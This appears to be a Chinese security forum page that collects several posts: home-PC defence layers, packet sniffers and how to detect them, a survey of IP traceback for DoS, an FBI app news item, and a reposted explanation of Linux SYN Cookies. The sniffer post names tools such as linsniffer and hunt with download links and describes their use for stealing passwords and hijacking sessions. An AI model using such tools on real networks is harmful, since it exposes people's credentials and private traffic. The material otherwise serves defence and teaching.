下面的设置应该说是第五层的防护了:如果黑客打算侵入,他会发现他到了一台又空又烂的机器,不管怎么看都毫无兴趣和吸引力。我的其他几台位于局域网上的机器都有口令保护,而我从来不在烂机器中WINDOWS保存任何密码,所以即使黑客进入到这台机器,也很难进入到局域网中其他机器的系统,要通过防火墙、口令和内部的安全设置这
几关可不是容易的事呢!
最后,我还有第六关:我的cable modem ISP使用动态IP地址,和绝大多数拨号上网ISP使用相同的技术,有了动态网址,每次你上网的时候都用的是新地址,对黑客来讲,很难预见下次的IP将是什么。利用动态IP地址的优势,我每搁一天或者是通过modem发现有异常活动的时候,就会拔去cable modem的插头。每当我将插头重新插回去、重新上线
,就会获得一个和上次不同的地址,即使有黑客发现过我,他也要一切重新开始了。 话虽这么说,你也应该知道没有任何线上的系统是完全保险的,除非你完全不和INTERNET连接,理论上任何系统都可能被攻击,但是如果你的机器加上了6层安全保护,给黑客们增加了太多的障碍,那么你的安全系数就很高了,也许因为他不能忍受如此多的麻烦就放弃了你呢!
[查看全文]
本帖最后由 Eangel 于 2011-8-7 02:35 编辑
一个嗅探器是一台设备,一个软件或硬件,它可以获取网络上传输的任何信息。嗅探器通过将网络接口(以太网接口)置为混杂模式去捕获网络上的通信。采用混杂模式可以让网络上的一台工作站监听所有的通信,不仅仅是它们自己的。
Sniffer工具linsniffer(http://agape.trilidun.org/hack/network-sniffers/linsniffer.c):是一个简单的嗅探器,其目的是捕获用户名和口令。采用linsniffer的书出来偷取口令和纪录普通通信的效果非常好,但它不适合于更详细的分析。l
inux_sniffer(http://www.ryanspc.com/sniffers/linux_sniffer.c):提供更详细一些的输出,而且比较容易使用。
hunt(http://www.ryanspc.com/sniffers/hunt-1.3.tgz):输出可读性强,较少的原始数据。Hunt支持一下功能:(1)允许你指定感兴趣的特定连接,而不是监听并纪录所有的信息;(2)能够检测已经建立的连接;(3)提供欺骗工具;(4)拦截活动回话。
sniffit(http://reptile.rug.ac.be/~coder/sniffit/sniffit.html):允许你更广范围内监视多台主机的不同端口的不同的数据包。是一个非常好的工具。
Sniffers的安全风险
Sniffers表明了高水平的风险:它们能捕获口令字,可以捕获秘密的或私人信息;突破相邻网络的安全限制或者越过存取控制。
防御Sniffer攻击
为了捕获一个Sniffer,你必须确定网络上的任何接口工作在混杂模式。可以采用ifconfig和ifstatus来做到这一点。
ifconfig:是一个配置网络接口参数的配置工具,可以快速的检测本地主机的网络接口是否工作在混杂模式。
ifstatus:检查系统上的所有网络接口,报告任何处于调试或混杂模式的网络接口。
ifconfig和ifstatus是一个在本地主机上检测sniffer的很好的工具,但是在一个大型的网络中,我们需要一种工具可以跨越子网检测sniffer。一种是采用NEPED(http://metalab.unc.edu/pub/Linux/distributions/trinux/src/neped.c).NEPED可以在一个字网上检测一个Sniffer的活动不过NETPED由一个限制:他仅工作在2.0.36及以前的内核上。
预防Sniffer的安全方法
选择“好”(难于破解和猜测)的口令字,并经常修改;总是采用加密传输等。决论:Sniffer带来的相当大的安全风险,主要是因为它们难以检测。防御Siffer的最佳方法只采用安全的网络拓扑结构并采用高强度的加密传输。
地址没用就按着名字google吧
[查看全文]
拒绝服务攻击(DoS)给GV部门和商业机构造成了严重的经济损失和社会威胁。IP追踪技术能够反向追踪IP数据包到它们的源头,所以是识别和阻止DoS攻击的重要一步。本文针对DoS攻击,对比分析了各个IP反向追踪方法的基本原理和优缺点。[查看全文]关键词 DoS攻击 主动追踪 反应追踪
随 着Internet在商业活动中的重要性不断增长,网络攻击特别是拒绝服务(DoS)攻击也在不断增加。IP追踪技术能够使受害主机的网络管理员识别发起 DoS攻击的大量数据包的真正源头,对于尽快恢复正常的网络功能、阻止再次发生攻击以及最终让攻击者为此负责非常重要。仅仅识别产生攻击业务的计算机和网 络似乎是一个有限目标,但是它所提供的重要线索有助于识别实际的攻击者。本文针对DoS,对比分析了现有各个IP反向追踪技术的基本原理、优缺点和局限性。
一、DoS 攻击
DoS攻击一般都默认地使用IP欺骗方式实施攻击,使网络服务器充斥大量要求回复的信息,消耗网络 带宽或系统资源,导致网络或系统不胜负荷以至于瘫痪而停止为合法用户提供正常的网络服务。大部分DDoS攻击都是间接地通过其他主机系统攻击它们的目标。 一旦攻击者知道无辜用户的账号,他就能伪装成那个人实施犯罪。攻击者还可以通过获得管理特权,在任何一台计算机上创建新账号。攻击者利用窃取来的账号清洗 攻击数据包:被窃取账号的主机(以下称清洗主机)接收和处理攻击主机的数据包,然后再将数据包发送给受害主机。因此,攻击者就利用清洗主机伪装了它们的身 份。在DDoS 攻击中,为了提高攻击的成功率,攻击者会同时控制成百上千台清洗主机,每台清洗主机根据攻击命令向目标主机发送大量的DoS 数据包,使目标主机瘫痪。必须采取相应的措施来阻止或者减轻DoS/DDoS攻击,并对攻击做出反应。阻止或者减轻攻击效果的方法称为预防性措施,包括优 化软件参数、输入过滤和速率限制。而要对攻击做出反应,则必须采用各种IP 反向追踪技术:不仅能识别攻击主机的真正IP地址,而且还可以获得产生攻击的机构信息,例如它的名称和网络管理员的E-mail地址等。
二、IP追踪方法
根 据IP追踪的主动程度,可以将现有的IP追踪技术分为两大类:主动追踪和反应追踪。主动追踪技术为了追踪IP源地址,需要在传输数据包时准备一些信息,并 利用这些信息识别攻击源。主动追踪方法在数据包通过网络时记录追踪信息,受害主机可以使用产生的追踪数据重建攻击路径,并最终识别攻击者。主动追踪包括数 据包记录、消息传递和数据包标记。而反应追踪却是在检测到攻击之后,才开始利用各种技术从攻击目标反向追踪到攻击的发起点。必须在攻击还在实施时完成它 们,否则,一旦攻击停止,反应追踪技术就会无效。输入调试和可控涌塞属于反应追踪措施。大部分反应追踪需要很大程度的ISP 合作,这样会造成大量的管理负担以及困难的法律和政策问题,因此有效的IP追踪方法应该需要最少的或者根本不需要ISP合作。
IP追踪技术的关键需求包括:
与现有网络协议的兼容;网络业务开销可以忽略;支持新增的实现;
与现有的路由器和网络结构兼容;
对付DDoS 攻击的有效性;
在时间和资源方面的最小开销;
应该不需要ISP合作;追踪的成功不应该取决于攻击的持续时间。
1、链路测试
顾 名思义,链路测试(有时也称为逐段追踪)法通过测试路由器之间的网络链路来确定攻击业务源头。大部分技术从最接近受害主机的路由器开始,测试它的输入(上 行)链路以确定携带业务的路由器。如果检测到了有电子欺骗的数据包(通过比较数据包的源IP地址和它的路由表信息),那么它就会登录到上一级路由器,并继 续监控数据包。如果仍然检测到有电子欺骗的扩散攻击,就会登录到再上一级路由器上再次检测电子欺骗的数据包。重复执行这一过程,直到到达实际的攻击源。链 路测试是反应追踪方法,要求攻击在完成追踪之前都一直存在。输入调试和受控淹没是链路测试方法的两种实现方法。
许多路由器都存在这种特 性:管理员能够确定特定数据包的输入网络链路。如果路由器操作人员知道攻击业务的特定特性(称为攻击特征),那就有可能在路由器上确定输入网络链路。然 后,ISP必须对连接到网络链路的上游路由器执行相同的处理过程,依次类推直到找到业务源、或者直到踪迹离开了当前ISP的界线。在后一种情况中,管理员 必须联系上游ISP继续追踪过程。
这个技术的最大缺点是多个网络边界和ISP之间的通信和协作努力上的巨大管理开销,它在受害主机和ISP 方面都需要时间和人力。这些问题在DDoS 攻击中变得更加复杂,因为攻击业务可以来自属于许多不同ISP的计算机。表1说明了输入调试的优缺点。
受 控淹没技术是从受害网络向上游网络段产生一个网络业务突发,并且观察这个故意产生的业务涌塞是如何影响攻击业务强度的。受害主机使用周围已知的 Internet拓扑结构图,选择最接近自己的那个路由器的上游链路中的主机,对这个路由器的每个输入网络链路分别进行强行淹没。由于这些数据包同攻击者 发起的数据包同时共享了路由器,因此增加了路由器丢包的可能性。受控淹没的最大问题是技术本身是一类DoS 攻击,这可能会破坏信任的上游路由器和网络上的有效业务。当然,这不适合Internet上的普遍常规应用。表2说明了受控淹没的优缺点。
2、数据包记录
确 定侵犯Internet业务的真正起源的显而易见的方法是在通过Internet的关键路由器上记录数据包,然后使用数据钻取技术提取有关攻击业务源的信 息。尽管这个解决方法似乎很显然,并且可以对攻击业务做出准确分析(即使在攻击已经停止之后),但是它的最大缺点是保存记录所需要的大量处理和存储能力, 且保存和在ISP 之间共享这个信息的需求还存在法律及保密问题。
Alex Snoeren等提出了一个新的数据包记录和IP追踪方法,称为SPIE(Source Path Isolation Engine)。他们不是存储整个数据包,而是只在称为Bloom Filter的有效存储结构中存储它的相应固定部分的Hash 摘要。为了完成IP追踪请求,数据搜集网络和遍布不同网络的分析代理可以使用这个方法提取重要的数据包数据,并且产生合适的攻击图,从而识别攻击业务的源 头。
当前基于数据包记录的追踪方法使用滑动时间窗来存储记录的数据,从而避免了在攻击正在进行时或者攻击发生后不久捕获攻击时需要过多的存储和分析需求 (因此,所需的记录数据仍然可以使用)。表3 说明了数据包记录的优缺点。
3、消息传递
2000年7月,Internet工程任务组(IETF)成立了一个工作组来开发基于iTrace方法的ICMP追踪消息。这个方法利用加载了跟踪机制的路由器(称为iTrace 路由器)以很低的概率发送一种特殊定义的ICMP数据包。
这个数据包包含局部路径信息:发送它的路由器的IP地址、前一跳和后一跳路由器的IP地址以及它的身份验证信息。
可 以通过查找相应的ICMP追踪消息,并检查它的源IP地址,来识别经过的路由器。但是, 由于为每个分组创建一个ICMP追踪消息增加了网络业务,所以每个路由器以1/20,000的概率为要经过它传输的分组创建ICMP追踪消息。如果攻击者 发送了许多分组(例如,在扩散类型的攻击中),那么目标网络就可以收集足够的ICMP追踪消息来识别它的攻击路径。该算法的缺陷在于产生ICMP 追踪消息数据包的概率不能太高,否则带宽耗用太高,所以该算法在攻击数据包数量很多时才比较有效。
iTrace机制的缺点在DDoS攻击中变得更加明显。在这类情况下,选择攻击数据包的可能性比使用的抽样速率小得多。受害主机可能会从最近的路由器获得许多ICMP追踪消息,但是很少是由接近僵尸主机的路由器产生的。
为 了克服这个缺点,研究人员对iTrace提出了一种改进方法,称为Intension驱动的ICMP追踪。这个技术分开了判决模块和iTrace产生模块 之间的消息传递功能。接收网络为路由表提供了特定的信息以指出它需要ICMP追踪消息。在路由表中提供的特定信息的基础上,判决模块将选择接着使用哪类数 据包来产生iTrace消息。然后,iTrace产生模块处理这个选中数据包,并且发送一个新的iTrace消息。
Intention驱 动的追踪还允许无论接收网络是否想接收iTrace 数据包,都可以发信号,这就增加了对接收网络有用的消息比例。如果特定网络怀疑或者检测到它正遭到攻击,那么这种方法也很有用:它可以向上游路由器请求 iTrace数据包,以识别攻击业务的源头。表4 列出了消息传递方法的优缺点。
4、数据包标记
数 据包标记方法是在被追踪的IP 数据包中插入追踪数据,从而在到目标主机的网络上的各个路由器上标记数据包。数据包标记的最简单的实现是使用记录路由选项(在RFC791 中指定的)在IP头的选项字段中存储路由器地址。但是,这个方法增加了每个路由器处的数据包长度,并且可能导致额外的分段。而且,攻击者可能试图用假数据 来填充为路由保留的字段,从而逃避追踪。
Stefan Savage等人在2001年提出了利用随机业务抽样和压缩的数据包标记算法。依赖随机数据包标记(PPM)的追踪机制使用概率为1/25 的随机抽样,从而避免了路由器数据包标记的过多开销。此外,每个数据包只存储它的路由信息的一部分,而不是整条路径的信息。而且如果攻击数据包足够多,就 可以保证受害主机重构攻击路径上的每一个路由器。
压缩的边缘分段抽样技术(CEFS)已经成为最著名的IP追踪机制之一。要执行一次成功的追踪,受害者必须搜集足够的数据包来重建攻击路径的每个边缘和完整的攻击图。但是这在DDoS 攻击中非常困难,因为正确地将分段和编码的路径边缘组织在一起很困难。
Dawn Song和Adrian Perrig对Savages的基于边缘识别PPM 的方法提出了改进,通过存储每个IP地址的Hash 值(而不是地址本身)进一步减少了存储需求。这种方法假设受害主机拥有所有上游路由器的完整网络图。在重新组装边缘分段之后,该方法将产生的IP地址 Hash值与从网络图得到的路由器IP 地址Hash 值相比较(以便于重建攻击路径)。这个改进方法比以前的方法对于DDoS 攻击更加有效。
表5 列出了数据包标记的优缺点。
三、应用前景
随 着Internet的发展,越来越多的服务都是通过网络为大众提供的,但是与此同时,针对互联网服务的攻击手段也越来越多。目前提出的所有IP追踪机制都 有它们自己特定的优点和缺点。没有一种解决方案可以实现有效追踪方法所规定的所有需求。要使其中任何一个IP 追踪方案有效,必须在大部分Internet基础结构中的公司和行政边界都使用它们。这本身似乎就是统一IP追踪方法的最大障碍之一。而且,一些方法对于 DDoS 攻击不太有效、是资源密集的、会引起网络开销,或者不能在攻击之后进行分析。因此,除非在整个Internet上使用I P 追踪方法,否则它们只对受控网络而不是整个Internet有效。
而且,即使使用这种追踪系统,也还需要人类的干预。特别是,人们必须解 决追踪的管理屏障,并且提供自动处理无法获取的信息,例如工作记录、电话记录等。要求系统管理员保持日志、记录以及追踪系统工作所需要的其他信息;要求行 业内部、服务提供商、网络管理员、网络用户和法律执行部门的有效协作。
[查看全文]
美国联邦调查局已经推出了第一个官方iOS的应用程序,名为“FBI儿童身份证”。这种程序可以显示失踪儿童的信息,帮助父母找回孩子,包括照片、身高、提供等信息以方便识别。同时,执法机构允许查看更详细的信息,以加快他们找回失踪儿童的效率,同时用户还可以将更多线索补充到当局的数据库。目前该应用仅支持iPhone和iPod Touch,但面向更多设备的版本即将出现。联邦调查局表示,在完成使命后,他们不会收集和存储详细信息或照片,以免为猖獗的黑客犯罪分子留下机会。
该文章转自 http://www.ibm.com/developerworks/cn/linux/l-syncookie/
概述在目前以IPv4为支撑的网络协议上搭建的网络环境中,SYN Flood是一种非常危险而常见的DoS攻击方式。到目前为止,能够有效防范SYN Flood攻击的手段并不多,而SYN Cookie就是其中最著名的一种。SYN Cookie原理由D. J. Bernstain和 Eric Schenk发明。在很多操作系统上都有各种各样的实现。其中包括Linux。本文就分别介绍一下SYN Flood攻击和SYN Cookie的原理,更重要的是介绍Linux内核中实现SYN Cookie的方式。最后,本文给出一种增强目前Linux中SYN Cookie功能的想法。一 SYN Flood攻击SYN Flood攻击是一种典型的拒绝服务型(Denial of Service)攻击。所谓拒绝服务型攻击就是通过进行攻击,使受害主机或网络不能够良好的提供服务,从而间接达到攻击的目的。SYN Flood攻击利用的是IPv4中TCP协议的三次握手(Three-Way Handshake)过程进行的攻击。大家知道协议规定,如果一端想向另一端发起TCP连接,它需要首先发送TCP SYN 包到对方,对方收到后发送一个TCP SYN+ACK包回来,发起方再发送TCP ACK包回去,这样三次握手就结束了。我们把TCP连接的发起方叫作"TCP客户机(TCP Client)",TCP连接的接收方叫作"TCP服务器(TCP Server)"。值得注意的是在TCP服务器收到TCP SYN request包时,在发送TCP SYN+ACK包回TCP客户机前,TCP服务器要先分配好一个数据区专门服务于这个即将形成的TCP连接。一般把收到SYN包而还未收到ACK包时的连接状态成为半开连接(Half-open Connection)。在最常见的SYN Flood攻击中,攻击者在短时间内发送大量的TCP SYN包给受害者,这时攻击者是TCP客户机,受害者是TCP服务器。根据上面的描述,受害者会为每个TCP SYN包分配一个特定的数据区,只要这些SYN包具有不同的源地址(这一点对于攻击者来说是很容易伪造的)。这将给TCP服务器系统造成很大的系统负担,最终导致系统不能正常工作。二 SYN Cookie原理SYN Cookie是对TCP服务器端的三次握手协议作一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。从上面的介绍可以看出,SYN Cookie的原理比较简单。到实际的应用中,它有多种不同的实现方式。三 Linux内核中的SYN Cookie实现Linux内核中对SYN Flood有很好的防护。以下的讨论都是针对Linux2.4.20内核进行的。在每一个sock都有一个tcp_opt即这个sock的TCP选项。在tcp_opt其中有一个tcp_listen_opt,这里存储的是这个sock在LISTEN状态下时保存的一些选项,其中有一个open_request结构的数组,数组长度为TCP_SYNQ_HSIZE(512)。所有这些表示在一个sock,最多可以同时开启512个半开连接(这是在不考虑其他约束条件时的最大值,实际情况中不会达到这个值)。当这个数组满了时,新来的open_request会顶替掉一个老的open_request。这样,即使没有启动SYN Cookie,也能够在SYN Flood发生时保护系统免于瘫痪。问题是这种处理方**在面对SYN Flood攻击时丢掉正常的TCP连接请求。SYN Cookie的作用恰恰是保证在面对SYN Flood攻击时,一方面能够拒绝非法的TCP连接请求,一方面正常连接可以被建立。Linux内核对TCP流程的处理主要在tcp_ipv4.c文件中的函数实现。具体的,当处理TCP SYN包时,系统进入tcp_v4_conn_request函数。其中调用cookie_v4_init_sequence生成一个ISN(Initial Sequence Number)。Linux内核把它作为SYN Cookie流程中的cookie。cookie_v4_init_sequence函数在syncookies.c文件中定义,它又调用random.c文件中的secure_tcp_syn_cookie函数。cookie的实质计算是在这个函数中进行的。在random.c文件里给出secure_tcp_syn_cookie函数的定义之前给出两个宏,它们的定义分别为
#define COOKIEBITS 24 #define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1) |
static __u32 syncookie_secret[2][16-3+HASH_BUFFER_SIZE]; |
tmp1 := saddr + daddr + ((sport<<16)+dport) + syncookie_secret[0] tmp2 := saddr + daddr + ((sport<<16)+dport) + syncookie_secret[1] tmp11 := HASH_TRANSFORM(tmp1[16], tmp1) tmp22 := HASH_TRANSFORM(tmp2[16], tmp2) A := tmp11[0][17] B := tmp22[1][17] |
count1 := jiffies/(HZ*60) 当前时间的分钟值
data1 := msstab
从前往后最后一个小于skb中携带的MSS值的值的索引(值得注意的是两个密钥在第一次被初始化后,就不会再有改动,直到系统重新启动。因此可以认为它是一个常值。)
isn := A+sseq + (count1<<COOKIEBITS) + (B+data1)&COOKIEMASK |
secure_tcp_syn_cookie函数对应的函数,检查从TCP ACK中提取出的ISN值。
isn := A+sseq + (count2<<COOKIEBITS) + (B+data2)&COOKIEMASK |
count2 == count1 data2 == data1 |
count3 := jiffies/(HZ*60)
用count3与count2比较,如果差值超过COUNTER_TRIES(4)分钟,则认为这 个ACK包不合法。
2)看data2是不是一个合法的msstab的索引,也就是说是不是小于NUM_MSS, 即(sizeof(msstab)/sizeof(msstab[0]) - 1)。如果小于,则认为这个ACK 合法,否则认为非法。
isn := A+sseq + (count<<COOKIEBITS) + (B+data)&COOKIEMASK |
δ = |c - c`|
利用这个差值,在每个数据包经过防火墙时,将其seq值修改一下,这样,后续的数据流量可以完美地在TCP Server和TCP Client之间传输了。